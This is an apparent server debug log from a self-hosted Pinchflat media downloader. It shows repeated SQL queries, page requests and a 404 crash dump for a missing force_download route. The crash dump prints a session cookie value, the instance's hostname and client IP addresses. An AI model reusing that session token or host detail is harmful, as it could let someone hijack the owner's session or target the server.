04:53:42.778 [debug] QUERY OK source="settings" db=3.2ms idle=0.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:53:42.779 [debug] QUERY OK source="sources" db=4.5ms queue=0.1ms idle=0.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."media_profile_id" = ?) ORDER BY s0."custom_name" [2] 04:53:42.780 [debug] QUERY OK source="sources" db=2.4ms queue=0.4ms idle=1.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."media_profile_id" = ?) ORDER BY s0."custom_name" [2] 04:53:42.780 [debug] QUERY OK source="settings" db=2.7ms queue=0.4ms idle=1.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:53:42.780 [debug] QUERY OK source="settings" db=1.1ms idle=2.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:53:42.781 [debug] QUERY OK source="settings" db=1.1ms queue=0.1ms idle=2.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:53:42.781 [info] Sent 200 in 21ms 04:53:42.782 [debug] QUERY OK source="settings" db=0.7ms queue=0.1ms idle=1.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:53:42.783 [debug] QUERY OK source="settings" db=1.4ms queue=0.1ms idle=1.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:53:42.785 [debug] QUERY OK source="settings" db=2.4ms queue=0.2ms idle=2.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:53:42.786 [debug] QUERY OK source="media_profiles" db=2.8ms idle=1.4ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [2] 04:53:42.786 [debug] QUERY OK source="media_profiles" db=2.9ms queue=0.1ms idle=2.2ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [2] 04:53:42.787 [debug] QUERY OK source="settings" db=1.6ms queue=0.2ms idle=2.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:53:42.788 [info] Sent 200 in 44ms 04:53:42.788 [debug] QUERY OK source="settings" db=1.8ms queue=0.3ms idle=2.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:53:42.793 [info] Sent 200 in 22ms 04:53:42.793 [info] Sent 200 in 20ms 04:53:42.802 [info] Sent 200 in 49ms 04:53:42.805 [info] Sent 200 in 52ms 04:53:42.874 [info] GET /media_profiles/2/edit 04:53:42.874 [debug] Processing with PinchflatWeb.MediaProfiles.MediaProfileController.edit/2 Parameters: %{"id" => "2"} Pipelines: [:browser] 04:53:42.876 [debug] QUERY OK source="media_profiles" db=0.5ms queue=0.1ms idle=89.3ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [2] 04:53:42.877 [debug] QUERY OK source="settings" db=0.4ms idle=90.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:53:42.878 [debug] QUERY OK source="settings" db=0.3ms queue=0.1ms idle=90.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:53:42.879 [debug] QUERY OK source="settings" db=0.4ms queue=0.1ms idle=90.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:53:42.885 [info] Sent 200 in 11ms 04:53:42.920 [info] GET /media_profiles/1 04:53:42.920 [debug] Processing with PinchflatWeb.MediaProfiles.MediaProfileController.show/2 Parameters: %{"id" => "1"} Pipelines: [:browser] 04:53:42.922 [debug] QUERY OK source="media_profiles" db=0.6ms queue=0.1ms idle=85.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 04:53:42.923 [debug] QUERY OK source="sources" db=0.9ms idle=46.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."media_profile_id" = ?) ORDER BY s0."custom_name" [1] 04:53:42.924 [debug] QUERY OK source="settings" db=0.4ms queue=0.1ms idle=47.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:53:42.925 [debug] QUERY OK source="settings" db=0.4ms idle=47.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:53:42.927 [debug] QUERY OK source="settings" db=0.4ms idle=47.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:53:42.931 [info] Sent 200 in 10ms 04:53:42.945 [info] GET /media_profiles/1/ 04:53:42.945 [debug] Processing with PinchflatWeb.MediaProfiles.MediaProfileController.show/2 Parameters: %{"id" => "1"} Pipelines: [:browser] 04:53:42.945 [info] GET /media_profiles/1/edit 04:53:42.946 [debug] Processing with PinchflatWeb.MediaProfiles.MediaProfileController.edit/2 Parameters: %{"id" => "1"} Pipelines: [:browser] 04:53:42.947 [debug] QUERY OK source="media_profiles" db=1.0ms queue=0.2ms idle=24.4ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 04:53:42.947 [debug] QUERY OK source="media_profiles" db=0.9ms queue=0.1ms idle=23.3ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 04:53:42.949 [debug] QUERY OK source="settings" db=1.0ms idle=22.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:53:42.950 [debug] QUERY OK source="sources" db=1.4ms queue=0.1ms idle=23.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."media_profile_id" = ?) ORDER BY s0."custom_name" [1] 04:53:42.950 [debug] QUERY OK source="settings" db=0.4ms queue=0.1ms idle=22.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:53:42.951 [debug] QUERY OK source="settings" db=0.5ms idle=2.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:53:42.953 [debug] QUERY OK source="settings" db=1.3ms idle=2.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:53:42.953 [debug] QUERY OK source="settings" db=1.8ms queue=0.1ms idle=3.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:53:42.956 [debug] QUERY OK source="settings" db=0.8ms idle=5.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:53:42.959 [info] Sent 200 in 13ms 04:53:42.961 [info] Sent 200 in 15ms 04:53:42.965 [info] GET /sources/31/media/141080/force_download 04:53:42.967 [debug] QUERY OK source="settings" db=0.3ms idle=15.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:53:42.967 [debug] QUERY OK source="settings" db=0.3ms idle=16.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:53:42.968 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 04:53:42.969 [error] #PID<0.139147.0> running PinchflatWeb.Endpoint (connection #PID<0.139092.0>, stream id 7) terminated Server: pinchflat.ocaff.com:80 (http) Request: GET /sources/31/media/141080/force_download ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/31/media/141080/force_download (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.139092.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/31/media/141080/force_download", host: "pinchflat.ocaff.com", peer: {{10, 1, 3, 15}, 48128}, bindings: %{}, sock: {{172, 18, 0, 6}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYQ2tqblA0bm9XczVHX0dYa0hiYllQQ0ZQ.ZQgaj9O16udoW4g8HxFySYYY3bprBbnDxciSR1YxTFM", "host" => "pinchflat.ocaff.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "65.21.124.77", "x-forwarded-host" => "pinchflat.ocaff.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "387f7f7a12c7", "x-real-ip" => "65.21.124.77" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 7, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYQ2tqblA0bm9XczVHX0dYa0hiYllQQ0ZQ.ZQgaj9O16udoW4g8HxFySYYY3bprBbnDxciSR1YxTFM" }, halted: false, host: "pinchflat.ocaff.com", method: "GET", owner: #PID<0.139147.0>, params: %{}, path_info: ["sources", "31", "media", "141080", "force_download"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.ocaff.com", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {10, 1, 3, 15}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYQ2tqblA0bm9XczVHX0dYa0hiYllQQ0ZQ.ZQgaj9O16udoW4g8HxFySYYY3bprBbnDxciSR1YxTFM" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYQ2tqblA0bm9XczVHX0dYa0hiYllQQ0ZQ.ZQgaj9O16udoW4g8HxFySYYY3bprBbnDxciSR1YxTFM"}, {"host", "pinchflat.ocaff.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36"}, {"x-forwarded-for", "65.21.124.77"}, {"x-forwarded-host", "pinchflat.ocaff.com"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "387f7f7a12c7"}, {"x-real-ip", "65.21.124.77"} ], request_path: "/sources/31/media/141080/force_download", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GLXU0UUBxQhvABUAABiI"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.139092.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/31/media/141080/force_download", host: "pinchflat.ocaff.com", peer: {{10, 1, 3, 15}, 48128}, bindings: %{}, sock: {{172, 18, 0, 6}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYQ2tqblA0bm9XczVHX0dYa0hiYllQQ0ZQ.ZQgaj9O16udoW4g8HxFySYYY3bprBbnDxciSR1YxTFM", "host" => "pinchflat.ocaff.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "65.21.124.77", "x-forwarded-host" => "pinchflat.ocaff.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "387f7f7a12c7", "x-real-ip" => "65.21.124.77" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 7, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/31/media/141080/force_download (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.139092.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/31/media/141080/force_download", host: "pinchflat.ocaff.com", peer: {{10, 1, 3, 15}, 48128}, bindings: %{}, sock: {{172, 18, 0, 6}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYQ2tqblA0bm9XczVHX0dYa0hiYllQQ0ZQ.ZQgaj9O16udoW4g8HxFySYYY3bprBbnDxciSR1YxTFM", "host" => "pinchflat.ocaff.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "65.21.124.77", "x-forwarded-host" => "pinchflat.ocaff.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "387f7f7a12c7", "x-real-ip" => "65.21.124.77" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 7, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYQ2tqblA0bm9X (truncated) 04:53:43.009 [info] GET /sources/31/media/141080 04:53:43.009 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "141080", "prevent_download" => "true", "source_id" => "31"} Pipelines: [:browser] 04:53:43.011 [debug] QUERY OK source="media_items" db=0.5ms idle=57.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [141080] 04:53:43.012 [debug] QUERY OK source="tasks" db=0.3ms idle=58.2ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [141080] 04:53:43.012 [debug] QUERY OK source="sources" db=0.7ms idle=55.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [31] 04:53:43.014 [debug] QUERY OK source="oban_jobs" db=0.5ms idle=46.4ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [7248] 04:53:43.015 [debug] QUERY OK source="settings" db=0.4ms idle=46.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:53:43.016 [debug] QUERY OK source="settings" db=0.4ms queue=0.1ms idle=4.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:53:43.018 [debug] QUERY OK source="settings" db=0.2ms queue=0.1ms idle=5.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:53:43.020 [debug] QUERY OK source="media_profiles" db=0.4ms idle=6.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [2] 04:53:43.024 [info] Sent 200 in 15ms 04:53:43.055 [info] GET /sources/31/media/141080/edit 04:53:43.056 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.edit/2 Parameters: %{"id" => "141080", "source_id" => "31"} Pipelines: [:browser] 04:53:43.057 [debug] QUERY OK source="media_items" db=0.5ms idle=42.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", 